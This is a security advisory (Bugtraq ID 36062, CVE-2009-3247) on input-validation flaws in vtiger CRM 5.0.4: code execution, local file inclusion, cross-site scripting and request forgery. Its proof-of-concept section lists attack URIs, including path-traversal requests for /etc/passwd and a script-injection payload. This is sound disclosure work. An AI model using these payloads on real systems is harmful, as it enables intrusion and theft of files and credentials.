vtiger CRM Multiple Input Validation Vulnerabilities

BID:36062

Info

vtiger CRM Multiple Input Validation Vulnerabilities

Bugtraq ID: 36062
Class: Input Validation Error
CVE: CVE-2009-3247
Remote: Yes
Local: No
Published: Aug 18 2009 12:00AM
Updated: Apr 13 2015 09:08PM
Credit: Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata, Francesco "ascii" Ongaro
Vulnerable: vtiger vtiger CRM 5.0.4
Not Vulnerable:

Discussion

vtiger CRM Multiple Input Validation Vulnerabilities

vtiger CRM is prone to multiple input-validation vulnerabilities:

- A remote PHP code-execution vulnerability
- Multiple local file-include vulnerabilities
- A cross-site scripting vulnerability
- Multiple cross-site request-forgery vulnerabilities

Attackers can exploit these issues to execute arbitrary script code within the context of the webserver, perform unauthorized actions, compromise the affected application, steal cookie-based authentication credentials, or obtain information that could aid in further attacks.

The issues affect vtiger CRM 5.0.4; other versions may also be affected.

Exploit / POC

vtiger CRM Multiple Input Validation Vulnerabilities

An attacker can use a browser to exploit these issues. To exploit the cross-site scripting and cross-site request-forgery vulnerabilities, the attacker must entice an unsuspecting victim into following a malicious URI.

The following example URIs are available:

For the cross-site request-forgery issue:
http://www.example.com/vtigercrm/index.php?module=Rss&action=Save&rssurl=http://www.example2.com

For the local file-include issues:
http://www.example.com/vtigercrm/graph.php?module=/../[..]/../etc/passwd%00
http://www.example.com/vtigercrm/index.php?module=Accounts&action=Import&parenttab=Support&step=/../[..]/../etc/passwd%00
http://www.example.com/vtigercrm/include/Ajax/CommonAjax.php?module=Email&file=bar
http://www.example.com/vtigercrm/include/Ajax/CommonAjax.php?module=Email&file=bar

For the cross-site scripting issue:
http://www.example.com/vtigercrm/phprint.php?module=Activities&action=--%3E%3Cscript%3Ealert(%22example%22);%3C/script%3E%3C!--

The following exploit is available:

Solution / Fix

vtiger CRM Multiple Input Validation Vulnerabilities

Solution:
Reportedly, the vendor fixed some of the issues in the latest release, but Symantec has not confirmed this information.

References

vtiger CRM Multiple Input Validation Vulnerabilities

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